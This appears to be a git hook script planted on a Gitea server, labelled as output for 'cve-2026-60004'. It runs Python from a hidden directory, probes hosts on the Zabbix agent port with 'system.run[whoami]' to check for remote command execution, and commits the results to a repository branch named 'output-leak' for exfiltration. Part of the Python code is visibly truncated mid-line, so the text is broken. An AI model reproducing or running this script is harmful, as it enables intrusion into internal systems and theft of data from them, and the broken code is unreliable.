#!/bin/sh GD=$(git rev-parse --absolute-git-dir) REPO=$(head -n1 "$GD/objects/info/alternates" | sed 's|/objects$||') OUT=$(/var/lib/gitea/.imp/bin/python3 << 'PYEOF' import socket, struct, sys def zbx_request(ip, item_key, timeout=5): try: s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.settimeout(timeout) s.connect((ip, 10050)) data = item_key.encode() header = b'ZBXD\x01' + struct.pack(' %s" % (ip, r.strip()[:100])) # test system.run r2 = zbx_request(ip, "system.run[whoami]") print("%s system.run[whoami] -> %s" % (ip, r2.strip()[:200])) print() PYEOF 2>&1; echo "[exit-status=$?]") BLOB=$(printf '%s\n' "$OUT" | git --git-dir="$REPO" hash-object -w --stdin) TREE=$(printf '100644 blob %s\toutput\n' "$BLOB" | git --git-dir="$REPO" mktree) CM=$(GIT_AUTHOR_NAME=poc GIT_AUTHOR_EMAIL=poc@example.invalid GIT_COMMITTER_NAME=poc GIT_COMMITTER_EMAIL=poc@example.invalid git --git-dir="$REPO" commit-tree "$TREE" -m "cve-2026-60004 output") git --git-dir="$REPO" update-ref refs/heads/output-leak "$CM" #A